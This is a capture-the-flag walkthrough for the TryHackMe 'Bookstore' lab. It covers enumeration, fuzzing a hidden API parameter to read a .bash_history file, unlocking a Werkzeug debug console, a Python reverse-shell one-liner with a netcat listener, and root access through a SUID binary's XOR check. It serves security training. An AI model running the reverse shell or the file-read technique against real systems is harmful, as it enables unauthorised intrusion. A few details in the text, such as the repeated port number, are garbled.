TryHackMe Bookstore Writeup
This writeup describes all the steps necessary to root the medium box: Bookstore on TryHackMe
We start off by adding the IP address of the server to the /etc/hosts file. Do this by running the following command:
echo "<box_ip> bookstore.thm" >> /etc/hosts
TryHackMe Bookstore – Enumeration
As per usual, we start by running a port scan on the host using nmap
. The sC
and sV
flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC bookstore.thm
The outcome of the port scan can be seen below:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA) | 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA) |_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Book Store 5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9) | http-robots.txt: 1 disallowed entry |_/api |_http-server-header: Werkzeug/0.14.1 Python/3.6.9 |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ports 22, 80 and 5000 open. This indicates that a SSH server and two web servers are running. The web server on port 80 is running Apache and the web server on port 80 seems to be running a Python web server. Let’s start by checking the web server on port 80 out.
TryHackMe Bookstore – Enumeration Apache web server
We use gobuster
in order to find hidden files and directories. Run gobuster
by running the following command:
gobuster dir -u http://bookstore.thm -w /usr/share/wordlists/common.txt
The outcome can be seen below:
/.htaccess (Status: 403) /.hta (Status: 403) /.htpasswd (Status: 403) /assets (Status: 301) /favicon.ico (Status: 200) /images (Status: 301) /index.html (Status: 200) /javascript (Status: 301) /server-status (Status: 403)
There is no specific file or directory which stands out from the others. Let’s continue by browsing to the homepage of the web server by inputting: http://bookstore.thm/
in your browser. The page found can be seen below:

The most interesting part of this web site is the log in functionality. It’s always a good idea to check out this page in order to gain some sort of access to the machine. Browse to: http://bookstore.thm/login.html
in order to find the login page. This is the page you will find there:

The log in functionality does not seem to work. Let’s check the page source. The easiest way to view the page source is by browsing to view-source:http://bookstore.thm/login.html
. The following line seem of interest here:
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->
It seems like we can find the pin for a debugger in the .bash_history
file. Because we do not know what this specific debugger is, we move over to enumerating the next web server.
TryHackMe Bookstore – Enumeration Werkzeug web server
Checking out the web server on port 5000, we see that the Werkzeug software is running. Werkzeug is a Python library which includes a debugger! This might come in handy to get a shell. When checking this link; we find the console is PIN protected. This is confirmed by browsing to: http://bookstore.thm:5000/console
. The found page can be seen below:

In order to get the acquired PIN, we have to read the .bash_history
file. Browsing to http://bookstore.thm:5000
reveals the following page:

So this web service serves as an API. This is confirmed by browsing to http://bookstore.thm:5000
where you can find the following web page:

TryHackMe Bookstore – Initial foothold
Some URL parameters for the API are visible on this page! One should be abused to read some files on the web server. Furthermore, it is interesting to note that the web server is running a version 2 of the API. This might indicate that there are extra routes on the older API. Let’s use wfuzz
in order to find legit paths where you can read the content of .bash_history
. Run the following command:
wfuzz -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=.bash_history -w /usr/share/wordlists/common.txt --hc 404
The outcome can be seen below:
=================================================================== ID Response Lines Word Chars Payload =================================================================== 000000517: 200 1 L 1 W 3 Ch "author" 000001964: 200 1 L 1 W 3 Ch "id" 000003215: 200 1 L 1 W 3 Ch "published" 000003645: 200 30 L 42 W 264 Ch "****"
The last found parameter (which is redacted so that it does not reveal the answer, contains the content of the .bash_history
file. Great! Let’s access this page: view-source:http://bookstore.thm:5000/api/v1/resources/books?****=.bash_history
in the browser:
cd /home/sid whoami export WERKZEUG_DEBUG_PIN=***-***-*** echo $WERKZEUG_DEBUG_PIN python3 /home/sid/api.py ls exit whoami clear ls cd /root ls cat root.txt clear ls cd /var ls cd www ls cd html/ clear ls cat login.html clear ls cd more_css/ ls cd .. clear exit
Great, we have found the PIN of the Workzeug debugger console. Let’s go back to http://bookstore.thm:5000/console
and fill in the PIN we just found. You should see the following web page by doing so:

Great! A command shell. Start your local listener by running on your attacking machine:
nc -lvnp 9001
And put the following command in the input you just found:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<box_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
And that’s it! You should have gained a shell on your attacking machine. Improve your shell by running the following commands:
export TERM=xterm-256color python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL+Z stty raw -echo;fg ENTER ENTER
Get the user flag by running:
cat user.txt
TryHackMe Bookstore – Root flag
Now we have to find a way to acquire root privileges. By running: ls -al
we find some interesting files. The output of ls -al
can be seen below:
drwxr-xr-x 5 sid sid 4096 Oct 20 03:16 . drwxr-xr-x 3 root root 4096 Oct 20 02:21 .. -r--r--r-- 1 sid sid 4635 Oct 20 02:52 api.py -r-xr-xr-x 1 sid sid 160 Oct 14 21:49 api-up.sh -r--r----- 1 sid sid 116 Nov 29 19:08 .bash_history -rw-r--r-- 1 sid sid 220 Oct 20 02:21 .bash_logout -rw-r--r-- 1 sid sid 3771 Oct 20 02:21 .bashrc -rw-rw-r-- 1 sid sid 16384 Oct 19 22:03 books.db drwx------ 2 sid sid 4096 Oct 20 02:53 .cache drwx------ 3 sid sid 4096 Oct 20 02:53 .gnupg drwxrwxr-x 3 sid sid 4096 Oct 20 02:29 .local -rw-r--r-- 1 sid sid 807 Oct 20 02:21 .profile -rwsrwsr-x 1 root sid 8488 Oct 20 03:01 try-harder -r--r----- 1 sid sid 33 Oct 15 11:14 user.txt
We see a binary file named try-harder
which is owned by root
and has SUID privileges. Running this file requires a magic number, which we obviously do not yet know at this point in time. Let’s transfer the binary to our attacking machine in order to check the source code. Start a simple Python web server on the box machine by running:
python3 -m http.server
Then acquire the file on your attacking machine by running:
wget http://bookstore.thm:8000/try-harder
Excellent, we acquired the binary. Now we have to inspect the source code. We do so by importing the file in Ghidra. This results in the following source code being shown:
void main(void) { long in_FS_OFFSET; uint local_1c; uint local_18; uint local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setuid(0); local_18 = 0x5db3; puts("What\'s The Magic Number?!"); __isoc99_scanf(&DAT_001008ee,&local_1c); local_14 = local_1c ^ 0x1116 ^ local_18; if (local_14 == 0x5dcd21f4) { system("/bin/bash -p"); } else { puts("Incorrect Try Harder"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
The code validates the input of the user to some value. This value is calculated by a series of XOR operations XOR operations can be reversed too! This means that the input variable can be calculated by XOR-ing all known values. You can do so in Python! Run the following commands:
python3 0x5dcd21f4 ^ 0x1116 ^ 0x5db3
The result is the number the program is looking for. Run the following command on the box machine:
./try-harder
Then input the just found decimal number. You should now have gained root privileges! The root flag can be found here: /root/root.txt
This was a fun box to root. The most interesting part here was to brute-force the API variables by using wfuzz
1 Comment